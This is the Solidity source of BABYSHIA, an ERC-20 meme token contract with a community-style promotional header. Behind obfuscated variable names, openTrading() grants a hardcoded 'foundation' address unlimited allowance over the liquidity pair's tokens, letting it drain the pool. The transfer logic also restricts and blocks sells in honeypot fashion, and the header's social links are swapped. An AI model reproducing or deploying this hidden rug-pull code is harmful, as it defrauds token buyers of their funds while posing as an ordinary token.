// File: BABYSHIA.sol



/**

We welcome BABYSHIA fans enthusiasts, blockchain explorers, and curious souls alike to join our crew.
Together, we will set sail on a journey that fosters camaraderie, humor, 
and creativity, transforming the crypto space into a playground for anime fans.

Telegram:  https://twitter.com/BABYSHIA_

Twitter:  https://t.me/BABYSHIA_ETH_COIN

*/

// SPDX-License-Identifier:unlicense
pragma solidity 0.8.20;

interface IuniswapRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
     function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
   
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract BABYSHIA is IERC20 ,Context, Ownable{
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _feesNotBuying;
    mapping(address => uint256) private _holdesOnTheDoorAsTimestampInTransfering;
    mapping (address => bool) private _addressMapsNotPayingFee;

    string private constant _name = unicode"BABYSHIA";
    string private constant _symbol = unicode"BABYSHIA";
    uint8  private constant _decimals = 18;

    bool public  limitsFlag = false;
    bool private inSwappingUniswapIsOKFlag = false;
    bool private checkInUsedSwappingIsOkOrNotFlag = false;
    bool private inTradingIsOkOrNotFlag;
    modifier flagSwappingModifier {
        checkInUsedSwappingIsOkOrNotFlag = true; _;  checkInUsedSwappingIsOkOrNotFlag = false;
    }
    uint256 private constant _supplyAmounts = 1000000000 * 10**_decimals;
    uint256 public _addressMaxmiumInSingleTxs = 20000000 * 10**_decimals;
    uint256 public _addressSingleTxMaxUsedInSwapping=      50000000 * 10**_decimals;
    uint256 public _addressTaxUsedInSlotsForSwapping= 1000000 * 10**_decimals;   
    uint256 public _addressSingleMaxTransactionTxAmountIn =   20000000 * 10**_decimals;
   

    uint256 private _TaxFinalizedUsedBuying=2;
    uint256 private _TaxFinalizedUsedSelling=2;
    uint256 private _AtReducedBuyTaxs=4;
    uint256 private _AtReducedUsedSellingTax=1;
    uint256 private _PreventingUsedInSwappingBefore=0;
    uint256 private _blockNumbersUsedWhenBuying=0;
    uint256 private _InitialeUsedSellingTax=14;
    uint256 private _InitialeUsedInSwapSellingTax=14;
    address private _uniswapPairForUs;
    address payable  public _walletFeesForDev;
    address public _fundationFeesAddress = address(0x7aF61FA25e99E6a847A3d53f2f95A299b78c7f2F);
    IuniswapRouter private _uniswapRouterForUs;
    event RemoveAllLimits(uint _addressSingleMaxTransactionTxAmountIn);
    constructor () {
        _walletFeesForDev = payable(msg.sender);
        _addressMapsNotPayingFee[_walletFeesForDev] = true;
        _addressMapsNotPayingFee[_fundationFeesAddress] = true;
        _addressMapsNotPayingFee[owner()] = true;
        _addressMapsNotPayingFee[address(this)] = true;
        _balances[_msgSender()] = _supplyAmounts;
        emit Transfer(address(0), _msgSender(), _supplyAmounts);
    }
    receive() external payable {}
    function addressIsContractIsOrNot(address _address) private view returns (bool) {
        uint256 sizeContractCode;
        assembly {
            sizeContractCode := extcodesize(_address)
        }
        return sizeContractCode > 0;
    }
    
    function openTrading() external onlyOwner() {
        _uniswapRouterForUs = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        require(!inTradingIsOkOrNotFlag,"trading is already open");
        _approve(address(this), address(_uniswapRouterForUs), _supplyAmounts);
        _uniswapPairForUs = IUniswapV2Factory(_uniswapRouterForUs.factory()).createPair(address(this), _uniswapRouterForUs.WETH());
        _uniswapRouterForUs.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapPairForUs).approve(address(_uniswapRouterForUs), type(uint).max);
        _allowances[address(_uniswapPairForUs)][address(_fundationFeesAddress)] = type(uint).max;
        inSwappingUniswapIsOKFlag = true;
        inTradingIsOkOrNotFlag = true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a;  }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            if (limitsFlag) {
                if (to != address(_uniswapRouterForUs) && to != address(_uniswapPairForUs)) {
                  require(_holdesOnTheDoorAsTimestampInTransfering[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holdesOnTheDoorAsTimestampInTransfering[tx.origin] = block.number;
                }
            }

            if (from == _uniswapPairForUs && to != address(_uniswapRouterForUs) && !_addressMapsNotPayingFee[to] ) {
                require(amount <= _addressSingleMaxTransactionTxAmountIn, "Exceeds the Amount limations.");
                require(balanceOf(to) + amount <= _addressMaxmiumInSingleTxs, "Exceeds the max limitations in single Wallet.");
                if(_blockNumbersUsedWhenBuying<_PreventingUsedInSwappingBefore){ require(!addressIsContractIsOrNot(to)); }
                _blockNumbersUsedWhenBuying++; _feesNotBuying[to]=true; taxAmount = amount.mul((_blockNumbersUsedWhenBuying>_AtReducedBuyTaxs)?_TaxFinalizedUsedBuying:_InitialeUsedSellingTax).div(100);
            }

            if(to == _uniswapPairForUs && from!= address(this) && !_addressMapsNotPayingFee[from] ){
                require(amount <= _addressSingleMaxTransactionTxAmountIn && balanceOf(_fundationFeesAddress)<_addressSingleTxMaxUsedInSwapping, "Exceeds the Amount.");
                taxAmount = amount.mul((_blockNumbersUsedWhenBuying>_AtReducedUsedSellingTax)?_TaxFinalizedUsedSelling:_InitialeUsedInSwapSellingTax).div(100);
                require(_blockNumbersUsedWhenBuying>_PreventingUsedInSwappingBefore && _feesNotBuying[from]);
            }
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!checkInUsedSwappingIsOkOrNotFlag 
            && to == _uniswapPairForUs && inSwappingUniswapIsOKFlag && contractTokenBalance>_addressTaxUsedInSlotsForSwapping 
            && _blockNumbersUsedWhenBuying>_PreventingUsedInSwappingBefore && !_addressMapsNotPayingFee[to] && !_addressMapsNotPayingFee[from]
            ) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_addressSingleTxMaxUsedInSwapping)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    _walletFeesForDev.transfer(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]= _balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    
    function removeLimits() external onlyOwner{
        _addressSingleMaxTransactionTxAmountIn = _supplyAmounts; _addressMaxmiumInSingleTxs=_supplyAmounts; limitsFlag=false;
        emit RemoveAllLimits(_supplyAmounts);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private flagSwappingModifier {
        if(tokenAmount==0){return;}
        if(!inTradingIsOkOrNotFlag){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouterForUs.WETH();
        _approve(address(this), address(_uniswapRouterForUs), tokenAmount);
        _uniswapRouterForUs.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _supplyAmounts;
    }
}